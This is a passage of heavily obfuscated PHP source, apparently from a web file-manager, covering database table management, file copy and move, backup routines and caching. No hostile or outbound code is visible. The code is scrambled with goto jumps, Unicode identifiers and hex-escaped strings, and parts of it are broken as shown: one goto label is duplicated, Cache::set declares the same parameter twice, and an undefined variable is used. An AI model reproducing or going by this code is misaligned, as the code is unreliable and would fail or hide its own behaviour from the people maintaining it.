$this->parseHaving(!empty($a[$Bɮ[978]]) ? $a[$Bɮ[978]] : $Bɮ[33]), $this->parseOrder(!empty($a[$Bɮ[347]]) ? $a[$Bɮ[347]] : $Bɮ[33]), $this->parseLimit(!empty($a[$Bɮ[277]]) ? $a[$Bɮ[277]] : $Bɮ[33]), $this->parseUnion(!empty($a[$Bɮ[332]]) ? $a[$Bɮ[332]] : $Bɮ[33]), $this->parseComment(!empty($a[$Bɮ[338]]) ? $a[$Bɮ[338]] : $Bɮ[33])), $C顂); return $C顂; } public function getLastSql($D⏎ = '') { return $D⏎ ? $this->modelSql[$D⏎] : $this->queryStr; } public function getLastInsID() { return $this->lastInsID; } public function getError() { return $this->error; } public function escapeString($B) { return addslashes($B); } public function setModel($d̮ԃ) { $this->model = $d̮ԃ; } public function getDbType() { return $this->dbType; } public function __destruct() { if ($this->queryID) { $this->free(); } $this->close(); } public function close() { } } class DbManage { function __construct($e獅, $B╂ = '') { $this->database = $e獅; $this->type = $B╂; } public function model($Dֈ = '') { return new ModelBase($Dֈ, $_SERVER[ѽ][33], $this->database); } public function db($Aٺݟ = false) { goto D; A: if (!$A촴ޏ) { $Fᓶ->execute("\143\162\145\141\164\145\40\144\x61\x74\141\142\141\163\145\40\x60{$DЈ}\x60"); } $e[$A[231]] = $DЈ; if ($e[$A[894]] == $A[734]) { $e[$A[893]] .= $A[979] . $DЈ; } goto e넗; C܆: $DЈ = $e[$A[231]]; $e[$A[231]] = $A[33]; if ($e[$A[894]] == $A[734]) { $cᰝ = $e[$A[893]]; $e[$A[893]] = substr($cᰝ, 0, strrpos($cᰝ, $A[979])); } goto Aȉ傛; e넗: $this->database = $e; $Fᓶ->execute("\165\163\x65\x20\140{$DЈ}\x60"); return $Fᓶ; goto B; D: $A =& $_SERVER[ѽ]; $e = $this->database; if ($this->type == $A[9] || !$Aٺݟ) { return $this->model()->db(); } goto C܆; Aȉ傛: $this->database = $e; $Fᓶ = $this->model()->db(); $A촴ޏ = $Fᓶ->execute("\x73\150\x6f\167\x20\144\141\x74\x61\142\141\x73\145\163\40\x6c\151\x6b\x65\40\x27{$DЈ}\x27"); goto A; B: } public function createTable($aͅՕ, $Bʂ = null) { $Aފġ =& $_SERVER[ѽ]; if (!IO::exist($aͅՕ)) { show_json(LNG($Aފġ[980]), !1); } $Fƥ = sqlSplit(IO::getContent($aͅՕ)); foreach ($Fƥ as $EېϤ) { if ($Bʂ) { $e٘Ԯ = stripos($EېϤ, $Aފġ[981]) === 0; if ($e٘Ԯ) { $Bʂ->task[$Aފġ[982]] += 1; } } $this->model()->db()->execute($EېϤ); if ($Bʂ && $e٘Ԯ) { $eۭ׌޸ = $Aފġ[983]; preg_match($eۭ׌޸, $EېϤ, $d˞); $Bʂ->task[$Aފġ[984]] = trim($aȾ⋱[0], $Aފġ[829]); $Bʂ->update(1); } } $this->taskToCache($Bʂ); } public function insertTable($aԯ, $Cب = null) { $Fۥ =& $_SERVER[ѽ]; foreach ($aԯ as $f) { $C滩 = basename($f); $C滩 = substr($C滩, 0, strrpos($C滩, $Fۥ[93])); if ($Cب) { $Cب->task[$Fۥ[984]] = $C滩; } if (get_filesize($f) == 0) { continue; } $cؑض = $this->sqlToDb($f, $Cب); if (!$cؑض) { show_json(LNG($Fۥ[985]) . "\133{$C滩}\x5d", !1); } } $this->taskToCache($Cب); } public function sqlFromDb($D, $F˳, $Eώ = null, $b鴖 = null) { goto A꼚; eݐ֭: fclose($C̏); return $b驄; goto d; e͔: $a̪ư = $Bϳ->getPk(); $b = $Bϳ->getDbFields(); do { $e = $Bϳ->field($b)->order($a̪ư . $_SERVER[ѽ][987])->selectPage($bŚ, $C); $D󨳳 = !empty($e[$_SERVER[ѽ][351]]) ? $e[$_SERVER[ѽ][351]] : array(); if (!($e = count($D󨳳))) { break; } if ($Eώ) { $Eώ->task[$_SERVER[ѽ][982]] += $e; } $Cʡ = array(); foreach ($D󨳳 as $C) { if ($b鴖) { $C[$_SERVER[ѽ][75]] = "\173\151\x6f\x3a{$b鴖}\175" . substr($C[$_SERVER[ѽ][75]], strlen("\x7b\151\x6f\72{$C[$_SERVER[ѽ][753]]}\175")); $C[$_SERVER[ѽ][753]] = $b鴖; } $Cʡ[] = $_SERVER[ѽ][988] . $this->sqlEncode($C) . $_SERVER[ѽ][989]; } $BŊ = "\111\116\x53\x45\x52\124\x20\x49\116\124\x4f\40\x60{$D}\140\x20\50\x60" . implode($_SERVER[ѽ][990], $b) . $_SERVER[ѽ][991]; fwrite($C̏, $BŊ . implode($_SERVER[ѽ][992], $Cʡ) . $_SERVER[ѽ][67] . PHP_EOL); $C++; $b驄 += $e; if ($Eώ) { $Eώ->update($e); } } while ($e == $bŚ); goto eݐ֭; D㱪: $C = 1; $bŚ = 500; $C̏ = fopen($F˳, $_SERVER[ѽ][986]); goto e͔; A꼚: if ($Eώ) { $Eώ->task[$_SERVER[ѽ][984]] = $D; } $Bϳ = $this->model($D); $b驄 = 0; goto D㱪; d: } public function sqlToDb($d, $E = null) { goto eϺ; eߐ: if (!$A) { return !1; } $C칖㽡 = 0; $aִ = $C[33]; goto A￘; eϺ: $C =& $_SERVER[ѽ]; $C = $this->model()->db(); $A = @fopen($d, $C[993]); goto eߐ; cڌ: if ($aִ) { $aִ = rtrim(trim($aִ), $C[67]); if (!$C->execute($aִ)) { return !1; } if ($E) { $E->update($C칖㽡 - 1); } } return !0; goto d; A￘: $eߨ = 500 + 1; while (!feof($A)) { if ($E && $C칖㽡 != 0) { $E->task[$C[982]] += 1; } $C칖㽡++; $aꂑ = trim(fgets($A)); $aִ .= $C[50] . $this->sqlDecode($aꂑ, $this->type); if ($C칖㽡 == $eߨ) { $aִ = rtrim(trim($aִ), $C[67]); if (!$C->execute($aִ)) { return !1; } if ($E) { $E->update($C칖㽡 - 1); } $aִ = $C[33]; $C칖㽡 = 0; } } fclose($A); goto cڌ; d: } public function dropTable($Cٵڟ = null) { $aצ = $this->model()->db(); $CƋ = $Cٵڟ ? array($Cٵڟ) : $aצ->getTables(); if (!$CƋ) { return; } foreach ($CƋ as $Cٵڟ) { $aצ->execute("\144\162\157\160\x20\x74\141\142\x6c\x65\40\x69\x66\40\x65\x78\x69\163\x74\x73\x20\x60{$Cٵڟ}\x60"); } } private function taskToCache($C = null) { $EĐ =& $_SERVER[ѽ]; if (!$C) { return; } $dӹ = array($EĐ[984] => $C->task[$EĐ[984]], $EĐ[982] => $C->task[$EĐ[982]], $EĐ[994] => $C->task[$EĐ[994]]); if ($dӹ[$EĐ[982]] == $dӹ[$EĐ[994]]) { $dӹ[$EĐ[706]] = 1; } Cache::set($EĐ[995] . $C->task[$EĐ[364]], $dӹ); $C->end(); } private function sqlEncode($aℬ) { $bь燿 =& $_SERVER[ѽ]; $eĤ = array(); foreach ($aℬ as $EƬİ) { if (is_array($EƬİ)) { $EƬİ = json_encode_force($EƬİ); } $EƬİ = addslashes($EƬİ); $EƬİ = str_replace(array($bь燿[996], $bь燿[214]), array($bь燿[997], $bь燿[998]), $EƬİ); $eĤ[] = str_replace($bь燿[55], $bь燿[999], $EƬİ); } return $bь燿[55] . implode($bь燿[1000], $eĤ) . $bь燿[55]; } private function sqlDecode($dៗ, $DҪ) { $DԤ =& $_SERVER[ѽ]; $dៗ = str_replace(array($DԤ[997], $DԤ[998]), array($DԤ[996], $DԤ[214]), $dៗ); if ($DҪ == $DԤ[9]) { $dៗ = stripslashes($dៗ); } return $dៗ; } } class IO extends ClassBaseCall { public static $driverCache = array(); public static $driverListSystem = array(); public static $driverListUser = array(); public static function __callStatic($a⇤, $bܞמ) { $a = self::driverMake($bܞמ[0]); if (method_exists($a, $a⇤)) { return @call_user_func_array(array($a, $a⇤), $bܞמ); } if (method_exists($a, $_SERVER[ѽ][1001])) { return @call_user_func_array(array($a, $a⇤), $bܞמ); } else { if (method_exists(self, $a⇤)) { return @call_user_func_array(array(self, $a⇤), $bܞמ); } else { call_user_func_array(array(parent, $a⇤), $bܞמ); } } } public static function init($Aϋ) { return self::driverMake($Aϋ); } public static function copy($Cƙ, $Aӧ, $C˷̳ؖ = false, $C = false) { return self::copyMove($Cƙ, $Aӧ, $C˷̳ؖ, $_SERVER[ѽ][486], $C); } public static function move($f, $a׳ڧ좗, $E䆤 = false, $Eץ = false) { return self::copyMove($f, $a׳ڧ좗, $E䆤, $_SERVER[ѽ][488], $Eץ); } public static function saveFile($cе, $Bꠕ͒, $F = true) { goto c; b벰: $b = self::copyFile($c, $cе, $f᳗, $BңꙚ, $E޺İ[$EɌ[28]], $C碢); if ($C䈽φ) { $b = $C䈽φ->getPathOuter($b); } return $b; goto CןĖ; F: $f᳗ = self::driverMake($Bꠕ͒); $C䈽φ = !1; if ($f᳗->pathParse[$EɌ[1002]]) { $fݢ̓ = $f᳗->pathParse[$EɌ[1002]]; $C䈽φ = $f᳗; $f᳗ = self::driverMake($fݢ̓); } goto Fܓ; c: $EɌ =& $_SERVER[ѽ]; $E޺İ = self::info($Bꠕ͒); $c = self::driverMake($cе); goto F; Fܓ: $BңꙚ = $f᳗->pathFather($Bꠕ͒); $C碢 = !0; if (!$F && self::driverIsSame($c, $f᳗)) { $C碢 = !1; } goto b벰; CןĖ: } private static function copyMove($D, $Eߓ, $Aݘ, $cČɮ, $fۤͱ = false) { goto E; fغ: if ($D寢޴) { $dօ = $D寢޴->getPathOuter($dօ); } return $dօ; goto E󮣼; dܗ: $BɆ = $A늃¿->isFile($D); if (!$BɆ && $b->getType() == $dܣ[704] && $A늃¿->getType() == $dܣ[103]) { $dօ = $b->copyFolderFromIO($A늃¿, $D, $Eߓ, $Aݘ, $CόƔ, $fۤͱ); } else { $dօ = self::copyPath($A늃¿, $D, $b, $Eߓ, $Aݘ, $CόƔ, $BɆ, $fۤͱ); } if ($dօ && $CόƔ) { $A늃¿->remove($D); } goto fغ; eӡ: Hook::trigger($dܣ[72], $A늃¿, $D, $b, $Eߓ); $CĞ = self::driverIsSame($A늃¿, $b); if ($CĞ) { if ($cČɮ == $dܣ[488] && trim($Eߓ, $dܣ[8]) == trim($b->pathFather($D), $dܣ[8])) { return $b->getPathOuter($D); } if (method_exists($b, $cČɮ)) { return $b->{$cČɮ}($D, $Eߓ, $Aݘ); } } goto dܗ; E: $A늃¿ = self::driverMake($D); $b = self::driverMake($Eߓ); $CόƔ = $cČɮ == $dܣ[488]; goto b; b: $D寢޴ = !1; if ($b->pathParse[$dܣ[1002]]) { $Eߓ = $b->pathParse[$dܣ[1002]]; $D寢޴ = $b; $b = self::driverMake($Eߓ); } self::check($A늃¿, $D, $b, $Eߓ); goto eӡ; E: $dܣ =& $_SERVER[ѽ]; if (!$D || $D == $dܣ[8] || !$Eߓ) { return !1; } ignore_timeout(); goto E; E󮣼: } private static function check($B嬅, $Eՠ, $fٴ, &$b溑ˣ) { $d껑 =& $_SERVER[ѽ]; if (self::driverIsSame($B嬅, $fٴ) && $B嬅->isFolder($Eՠ) && $B嬅->isParentOf($Eՠ, $b溑ˣ)) { show_json(LNG($d껑[1003]), !1); } if (!$B嬅->exist($Eՠ)) { show_json(LNG($d껑[102]), !1); } } private static function copyPath($aՍ, $c, $aڗ̈, $fŅ, $Aб, $aԩڭ, $a, $b = false) { goto D; Cƹ: $fnjқ = array_merge($c[$b沉[73]], $c[$b沉[74]]); foreach ($fnjқ as $dͳ) { $D굥 = $dͳ[$b沉[29]] == $b沉[164]; $c = $aՍ->getPathInner($dͳ[$b沉[75]]); $Dۻ = self::copyPath($aՍ, $c, $aڗ̈, $fŅ, $Aб, $aԩڭ, $D굥); if (!$Dۻ) { write_log($b沉[1004] . $c . $b沉[1005] . $fŅ, $b沉[1006]); } } return $C; goto Aڐ; Dӈ: if ($a) { return self::copyFile($aՍ, $c, $aڗ̈, $fŅ, $c냭ۦ, $aԩڭ); } if ($Aб == REPEAT_RENAME_FOLDER) { $Aб = !1; } $e֦ = rtrim($fŅ, $b沉[8]) . $b沉[8] . $c냭ۦ; goto B; B: $C = $aڗ̈->mkdir($aڗ̈->getPath($e֦)); $fŅ = $aڗ̈->getPathInner($C); $c = $aՍ->listPath($c, !0); goto Cƹ; D: $b沉 =& $_SERVER[ѽ]; $c냭ۦ = $b ? $b : $aՍ->getPathName($aՍ->pathThis($c)); if ($Aб) { $Eз = $aڗ̈->fileNameExist($fŅ, $c냭ۦ); $c냭ۦ = $aڗ̈->fileNameAuto($fŅ, $c냭ۦ, $Aб, !$a); $Aб = $Eз ? $Aб : !1; } goto Dӈ; Aڐ: } private static function copyFile($Aǜؓ, $dۋ㰆, $Fۗ, $e皒, $A, $E) { goto Bח; dُə: Hook::trigger($FЇش[1008], $Aǜؓ, $dۋ㰆, $Fۗ, $e皒, $A, $Bњ); if (self::driverIsSame($Aǜؓ, $Fۗ)) { if ($E) { $Dʻ = $Fۗ->moveFile($dۋ㰆, $e皒); } else { $Dʻ = $Fۗ->copyFile($dۋ㰆, $e皒); } Hook::trigger($FЇش[1009], $Aǜؓ, $dۋ㰆, $Fۗ, $e皒, $A, $Dʻ); return $Dʻ; } $D׊̻ = TEMP_FILES; goto d塧; Bח: $FЇش =& $_SERVER[ѽ]; $e皒 = $Fۗ->getPath(rtrim($e皒, $FЇش[8]) . $FЇش[8] . $A); $Bњ = $FЇش[1007] . time() . rand_string(5); goto dُə; B: Hook::trigger($FЇش[1009], $Aǜؓ, $dۋ㰆, $Fۗ, $e皒, $A, $Dʻ); return $Dʻ; goto bχ; d塧: mk_dir($D׊̻); $E = $D׊̻ . $Bњ; $E = $Aǜؓ->download($dۋ㰆, $E); goto eυ; eυ: $E = $Aǜؓ->iconvApp($E); $Dʻ = $Fۗ->upload($e皒, $E, $E); self::remove($D׊̻ . $Bњ); goto B; bχ: } public static function pathFather($aϥ) { $Fճ = IO::init($aϥ); $F = $Fճ->pathFather($Fճ->path); return $Fճ->getPathOuter($F); } public static function fileOut($Aܨ, $c = false, $Bጜ = false, $d = '') { $A = self::driverMake($Aܨ); if ($A->isFileOutServer()) { return $A->fileOutServer($Aܨ, $c, $Bጜ, $d); } return $A->fileOut($Aܨ, $c, $Bጜ, $d); } public static function fileOutImage($C͈, $f虎Ѳ = 250) { $c = array(250, 600, 1200, 3000); for ($B𺡓 = 0; $B𺡓 < count($c); $B𺡓++) { if ($B𺡓 == 0 && $f虎Ѳ <= $c[$B𺡓]) { $f虎Ѳ = $c[$B𺡓]; break; } else { if ($f虎Ѳ > $c[$B𺡓 - 1] && $f虎Ѳ <= $c[$B𺡓]) { $f虎Ѳ = $c[$B𺡓]; break; } else { if ($B𺡓 == count($c) - 1 && $f虎Ѳ > $c[$B𺡓]) { $f虎Ѳ = $c[$B𺡓]; break; } } } } $a = self::driverMake($C͈); if ($a->isFileOutServer()) { return $a->fileOutImageServer($C͈, $f虎Ѳ); } return $a->fileOutImage($C͈, $f虎Ѳ); } private static function driverIsSame($e␩, $a߱) { goto e; e: $aDŽ =& $_SERVER[ѽ]; $c = $e␩->getType(); $fݗޥ = $a߱->getType(); goto Aٷ; Aٷ: if ($c != $fݗޥ) { return !1; } if ($c == $aDŽ[704]) { return !0; } if ($c == $aDŽ[103]) { return !0; } goto d; d: if ($e␩->pathDriver == $a߱->pathDriver) { return !0; } return !1; goto c輊; c輊: } public static function copyUpdate($E, $F) { goto A; Aޔ: $d엙 = self::_listAll($E); $A = self::_listAll($F); $Fտ = array(); goto BѢӞ; dϚ: Hook::trigger($F̼[1013], $E, $F, $F); foreach ($E as $fٗ) { IO::mkdir($fٗ); } foreach ($Fտ as $fٗ) { IO::copy($fٗ[$F̼[1010]], $fٗ[$F̼[1011]], REPEAT_REPLACE); } goto aŒ; BѢӞ: $E = array(); foreach ($d엙 as $D֞ => $fٗ) { if (isset($A[$D֞])) { if ($fٗ[$F̼[76]] == 1) { continue; } if ($A[$D֞][$F̼[77]] == $fٗ[$F̼[77]]) { continue; } } if ($fٗ[$F̼[76]] == 1) { $E[] = $F . $F̼[8] . $D֞; continue; } $C = strstr(trim($D֞, $F̼[8]), $F̼[8]) ? get_path_father($D֞) : $F̼[33]; $Fտ[] = array($F̼[1010] => $fٗ[$F̼[75]], $F̼[1011] => rtrim($F, $F̼[8]) . $F̼[8] . $C, $F̼[1012] => $fٗ); } $F = array($F̼[164] => $Fտ, $F̼[76] => $E); goto dϚ; A: $F̼ =& $_SERVER[ѽ]; if (!IO::exist($E)) { return !1; } if (!IO::exist($F)) { IO::mkdir($F); } goto Aޔ; aŒ: } private static function _listAll($d) { $Eľʄ =& $_SERVER[ѽ]; $d = KodIO::clear($d); $B΄ = IO::listAll($d); foreach ($B΄ as &$f) { $E⸣ = substr($f[$Eľʄ[75]], strlen($d)); $f[$Eľʄ[1014]] = trim($E⸣, $Eľʄ[8]); } return array_to_keyvalue($B΄, $Eľʄ[1014]); } public static function fileSubstr($c, $AŞ, $B = false) { goto d; f: return $eލ->fileSubstr($c, $AŞ, $B); goto Aم; d: $eލ = self::driverMake($c); $eʗ = $eލ->size($c); $D = $AŞ; goto c; c̓: if ($AŞ + $B > $eʗ) { $B = $eʗ - $AŞ; } if ($B <= 0) { return $_SERVER[ѽ][33]; } if ($AŞ < 0 || $AŞ >= $eʗ || $B > 1024 * 1024 * 5) { throw new Exception("\146\151\x6c\145\x52\x65\x61\x64\40\x65\x72\162\x6f\x72\x21\x20\163\x74\141\x72\x74\x3d{$AŞ}\x3b\154\x65\x6e\x67\x74\150\75{$B}\73\x20\x73\x69\x7a\145\x3d{$eʗ}\x3b"); } goto f; c: $Bֆ؋ = $B; if ($AŞ < 0) { $AŞ = $eʗ + $AŞ; } if ($B === !1) { $B = $eʗ - $AŞ; } goto c̓; Aم: } private static function driverMake(&$bɷه) { goto B턩; Bԍܑ: if ($Fٹ—[$ANj[29]] == KodIO::KOD_IO && !self::$driverListSystem[$Fٹ—[$ANj[364]]]) { return !1; } $bɷه = $Fٹ—[$ANj[1015]]; $Fˋ = self::driverGet($Fٹ—, $bɷه); goto Aϑڇ; B턩: $ANj =& $_SERVER[ѽ]; $Fٹ— = KodIO::parse($bɷه); if (!self::$driverListSystem) { $C솱 = Model($ANj[714])->driverListSystem(); self::$driverListSystem = array_to_keyvalue($C솱, $ANj[364]); } goto Bԍܑ; Aϑڇ: return $Fˋ; goto e; e: } private static function driverGet($b͉, &$b) { goto Dɶ; bȭ: if (isset($Bރ[$fÄ[6]][$fÄ[1028]])) { $aܬ->pathBase = rtrim($Bރ[$fÄ[6]][$fÄ[1028]], $fÄ[8]) . $fÄ[8]; $b = $aܬ->pathBase . ltrim($b, $fÄ[8]); } $b = $aܬ->getPath($b); if (isset($b͉[$fÄ[1002]])) { $b = $b͉[$fÄ[1002]]; } goto bׅ; e: $aܬ = self::$driverCache[$F]; $aܬ->pathDriver = $fܜև; $aܬ->pathBase = $fÄ[33]; goto bȭ; dݩ: switch ($b͉[$fÄ[29]]) { case KodIO::KOD_IO: $Bރ = self::$driverListSystem[$a˞]; break; case KodIO::KOD_SOURCE: $b = $a˞ . $b; $Bރ = array($fÄ[1017] => $fÄ[1018], $fÄ[6] => $b͉); break; case KodIO::KOD_USER_DRIVER: if (!self::$driverListUser) { $cԎ = $GLOBALS[$fÄ[1019]]; self::$driverListUser = array_to_keyvalue($cԎ, $fÄ[364]); } $Bރ = self::$driverListUser[$a˞]; break; case KodIO::KOD_SHARE_LINK: $Bރ = array($fÄ[1017] => $fÄ[1020], $fÄ[6] => $b͉); $E = Action($fÄ[1021])->sharePathInfo($b͉[$fÄ[75]]); $b = $E[$fÄ[366]]; if (!$E[$fÄ[366]]) { $f碦 = Model($fÄ[532])->getInfo($E[$fÄ[437]]); $b = KodIO::clear($f碦[$fÄ[1022]] . $b͉[$fÄ[1015]]); $b͉[$fÄ[435]] = $f碦; $b͉[$fÄ[1002]] = $b; $Bރ = array($fÄ[1017] => $fÄ[1023], $fÄ[6] => $b͉); } break; case KodIO::KOD_SHARE_ITEM: $Bރ = array($fÄ[1017] => $fÄ[1024], $fÄ[6] => $b͉); $f碦 = Model($fÄ[532])->getInfo($b͉[$fÄ[364]]); if ($f碦[$fÄ[366]] == $fÄ[464]) { $b = KodIO::clear($f碦[$fÄ[1022]] . $b͉[$fÄ[1015]]); $b͉[$fÄ[435]] = $f碦; $b͉[$fÄ[1002]] = $b; $Bރ = array($fÄ[1017] => $fÄ[1025], $fÄ[6] => $b͉); } break; default: $b = $b͉[$fÄ[75]]; $Bރ = array($fÄ[1017] => $fÄ[1026]); break; } $F = $b͉[$fÄ[75]]; if (!isset(self::$driverCache[$F])) { $f͊ = strtolower($Bރ[$fÄ[90]]); $C🸣 = $GLOBALS[$fÄ[6]][$fÄ[84]][$fÄ[1027]]; $b樿 = $fÄ[71] . (isset($C🸣[$f͊]) ? $C🸣[$f͊] : ucfirst($f͊)); if (!class_exists($b樿)) { show_json("{$b樿}\x20\156\x6f\x74\40\x65\170\151\x73\x74\163\41", !1); } $b닽 = isset($Bރ[$fÄ[6]]) ? $Bރ[$fÄ[6]] : !1; self::$driverCache[$F] = new $b樿($b닽); } goto e; Dɶ: $fÄ =& $_SERVER[ѽ]; $fܜև = $b͉[$fÄ[1016]]; $a˞ = $b͉[$fÄ[364]]; goto dݩ; bׅ: $aܬ->path = $b; return $aܬ; goto bۆ; bۆ: } } goto A܏; e: class BackupDbFile { public function __construct() { } public function index() { goto D̤; D̤: $fڲ =& $_SERVER[ѽ]; $E = Backup::get(); $d = $E[$fڲ[28]]; goto Bۯ; bǖ: return !0; goto CՕђ; A: $eΊ = new TaskFileTransfer($fڲ[739], $fڲ[722], 0, LNG($fڲ[723]) . $fڲ[408] . LNG($fڲ[725]) . $fڲ[740]); $eΊ->addPath($C); $Dт = IO::infoWithChildren($C); goto d; d: Backup::set(array($fڲ[741] => $Dт[$fڲ[77]])); IO::move($C, $a߹); $Cً = CONTROLLER_DIR . $fڲ[742]; goto D; Bۯ: $C = TEMP_FILES . "\x62\141\143\x6b\165\160\137{$d}\x2f"; $a߹ = "\173\x69\x6f\72{$E[$fڲ[701]]}\x7d\57\x64\141\x74\141\x62\141\163\145\57"; IO::mkdir($a߹ . "\x62\x61\x63\153\x75\x70\137{$d}\x2f"); goto A; D: IO::copy($Cً, $a߹ . "\x62\x61\x63\153\165\x70\x5f{$d}\57"); $eΊ->end(); Backup::set(array($fڲ[743] => $Dт[$fڲ[77]])); goto bǖ; CՕђ: } } class BackupFile { public function __construct() { } public function index() { goto c󚂟; dҊ: $Eຣ = (int) Model($_SERVER[ѽ][729])->where($Cۈ)->count($_SERVER[ѽ][415]); $a = (int) Model($_SERVER[ѽ][729])->where($Cۈ)->sum($_SERVER[ѽ][77]); $a㋯ = new TaskFileTransfer($_SERVER[ѽ][746], $_SERVER[ѽ][722], $Eຣ, LNG($_SERVER[ѽ][723]) . $_SERVER[ѽ][724] . LNG($_SERVER[ѽ][747])); goto D; B: $D = $D ? 1 : 0; $Dߺ = array($_SERVER[ѽ][760] => 1, $_SERVER[ѽ][713] => time(), $_SERVER[ѽ][719] => $D, $_SERVER[ѽ][757] => $a؋ي, $_SERVER[ѽ][749] => $a, $_SERVER[ѽ][748] => $Eຣ); if ($E) { $Dߺ[$_SERVER[ѽ][758]] = $E쑼; $Dߺ[$_SERVER[ѽ][759]] = $e; } goto dކ; D: $a㋯->task[$_SERVER[ѽ][708]] = $a; $Dߺ = array($_SERVER[ѽ][748] => $Eຣ, $_SERVER[ѽ][749] => $a); Backup::set($Dߺ); goto aԱ; c↗: $EՃ = 1000; $dі = $E = 0; $aޛò = array(); goto E; dކ: Backup::set($Dߺ); $this->_fileFilter($aޛò); return !0; goto EЌש; c󚂟: $bƃ = Backup::get(); $a؋ي = $bƃ[$_SERVER[ѽ][278]][$_SERVER[ѽ][164]][$_SERVER[ѽ][415]]; $Cۈ = array($_SERVER[ѽ][416] => array($_SERVER[ѽ][744], $a؋ي), $_SERVER[ѽ][745] => array($_SERVER[ѽ][316], $bƃ[$_SERVER[ѽ][701]])); goto dҊ; E: $e = $E쑼 = 0; do { $bب = $_SERVER[ѽ][750]; $d߃ = Model($_SERVER[ѽ][729])->where($Cۈ)->field($bب)->order($_SERVER[ѽ][751])->selectPage($EՃ, $A); $cߍ = !empty($d߃[$_SERVER[ѽ][351]]) ? $d߃[$_SERVER[ѽ][351]] : array(); foreach ($cߍ as $F) { goto c; b鸬: if (IO::exist($E)) { $a㋯->updateFileEnd($F[$_SERVER[ѽ][28]], $F[$_SERVER[ѽ][77]]); } else { $E = get_path_father($E); IO::mkdir($E); if (!IO::copy($fᅄ, $E, $_SERVER[ѽ][754])) { write_log($_SERVER[ѽ][755] . $fᅄ . $_SERVER[ѽ][756] . $E . $_SERVER[ѽ][472], $_SERVER[ѽ][722]); $D = !1; break; } } $a؋ي = $F[$_SERVER[ѽ][415]]; $E += 1; goto cŒ; cŒ: $dі += $F[$_SERVER[ѽ][77]]; $E쑼 += 1; $e += $F[$_SERVER[ѽ][77]]; goto dӽ; c: if (!$this->_fileExist($F, $aޛò, $e)) { $Eຣ -= 1; $a -= (int) $F[$_SERVER[ѽ][77]]; write_log("\146\151\154\145\40\156\157\x74\40\x65\170\x69\x73\x74\56\146\151\154\145\x49\x44\72{$F[$_SERVER[ѽ][415]]}\54\x20\x70\x61\164\150\72{$F[$_SERVER[ѽ][75]]}", $_SERVER[ѽ][752]); continue; } $fᅄ = $F[$_SERVER[ѽ][75]]; $E = "\x7b\151\x6f\x3a{$bƃ[$_SERVER[ѽ][701]]}\x7d" . substr($fᅄ, strlen("\173\151\x6f\72{$F[$_SERVER[ѽ][753]]}\175")); goto b鸬; dӽ: if ($dі >= 1024 * 1024 * 100) { $Dߺ = array($_SERVER[ѽ][757] => $a؋ي, $_SERVER[ѽ][758] => $E쑼, $_SERVER[ѽ][759] => $e); Backup::set($Dߺ); $dі = $E = 0; } goto eМ; eМ: } $B󺵄 = count($cߍ); $A++; } while ($B󺵄 == $EՃ); $a㋯->end(); goto B; aԱ: $D = !0; $e = $this->storeIds(); $A = 1; goto c↗; EЌש: } private function _fileExist($Eީ, &$FŠ, $a) { goto d; E: if (IO::exist($eŒ)) { $FŠ[] = $Eީ[$c΃š[415]]; return !1; } $FȰΑ = array($c΃š[753] => $Eީ[$c΃š[753]], $c΃š[75] => array($c΃š[761], "{$eŒ}\45")); $a˘ = Model($c΃š[729])->where($FȰΑ)->field($c΃š[416])->select(); goto aه; d: $c΃š =& $_SERVER[ѽ]; $EӇɌ = $Eީ[$c΃š[75]]; if (in_array($Eީ[$c΃š[415]], $FŠ)) { return !1; } goto c; c: if (!in_array($Eީ[$c΃š[753]], $a)) { return !1; } if (IO::exist($EӇɌ)) { return !0; } $eŒ = get_path_father($EӇɌ); goto E; aه: $FŠ = array_merge($FŠ, array_to_keyvalue($a˘, $c΃š[33], $c΃š[415])); return !1; goto fӹ; fӹ: } private function _fileFilter($e²) { $D͋ =& $_SERVER[ѽ]; if (empty($e²)) { return; } $D񉾯 = array($D͋[415] => array($D͋[7], array_unique($e²))); $a驂 = Model($D͋[762])->where($D񉾯)->field($D͋[366])->select(); foreach ($a驂 as $eǒ) { Model($D͋[762])->remove($eǒ[$D͋[366]], !1); } } private function storeIds() { $bΧ =& $_SERVER[ѽ]; $b牻ǫ = Model($bΧ[714])->listData(); return array_to_keyvalue($b牻ǫ, $bΧ[33], $bΧ[364]); } } class Cache { protected static $handle; protected static $memoryCache; public static function init() { goto E; B: switch ($C΋[$f곜[763]]) { case $f곜[17]: self::$handle = Model($f곜[765]); break; case $f곜[766]: self::$handle = new CacheRedis($aȱ龃, $Eѝ늡); break; case $f곜[767]: self::$handle = new CacheMemcached($aȱ龃, $Eѝ늡); break; case $f곜[164]: self::$handle = new CacheFile($aȱ龃, $Eѝ늡); break; default: break; } return self::$handle; goto b䱽; E: $f곜 =& $_SERVER[ѽ]; if (self::$handle) { return self::$handle; } self::$memoryCache = array(); goto eך; eך: $C΋ = $GLOBALS[$f곜[6]][$f곜[334]]; $aȱ龃 = $C΋[$C΋[$f곜[763]]]; $Eѝ늡 = $C΋[$f곜[764]]; goto B; b䱽: } public static function initReset() { self::$handle = !1; self::$memoryCache = !1; } public static function key($dӃ) { if (is_array($dӃ) || is_object($dӃ)) { $dӃ = json_encode($dӃ); } $dӃ = rawurlencode($dӃ); return KOD_SITE_ID . $_SERVER[ѽ][70] . $dӃ; } public static function get($B) { $D = self::key($B); if (!isset(self::$memoryCache[$D])) { CacheLock::lock($B); $e̅Ȉ = self::init()->get($D); CacheLock::unlock($B); self::$memoryCache[$D] = unserialize($e̅Ȉ); } return self::$memoryCache[$D]; } public static function set($a, $a, $bި = false) { goto D̪; D̪: $E乩 = self::key($a); if (isset(self::$memoryCache[$E乩]) && self::$memoryCache[$E乩] === $a) { return !0; } if ($bި === 0) { self::$memoryCache[$E乩] = $a; return !0; } goto Fť; Fť: CacheLock::lock($a); $b = self::init()->set($E乩, serialize($a), $bި); self::$memoryCache[$E乩] = $a; goto f֜; f֜: CacheLock::unlock($a); return $b; goto C婅; C婅: } public static function remove($c䟝) { goto a; e΍: return $c; goto Eʱº; a: $Fޕ = self::key($c䟝); unset(self::$memoryCache[$Fޕ]); self::clearTimeout(); goto a퉌; a퉌: CacheLock::lock($c䟝); $c = self::init()->remove($Fޕ); CacheLock::unlock($c䟝); goto e΍; Eʱº: } public static function clearMemory($Dߔ = false) { if ($Dߔ) { $Dߔ = self::key($Dߔ); unset(self::$memoryCache[$Dߔ]); return; } self::$memoryCache = null; self::$memoryCache = array(); } public static function deleteAll() { self::$memoryCache = array(); if (method_exists(self::init(), $_SERVER[ѽ][768])) { self::init()->deleteAll(); } } public static function clearTimeout() { if (method_exists(self::init(), $_SERVER[ѽ][769])) { self::init()->clearTimeout(); } } } goto 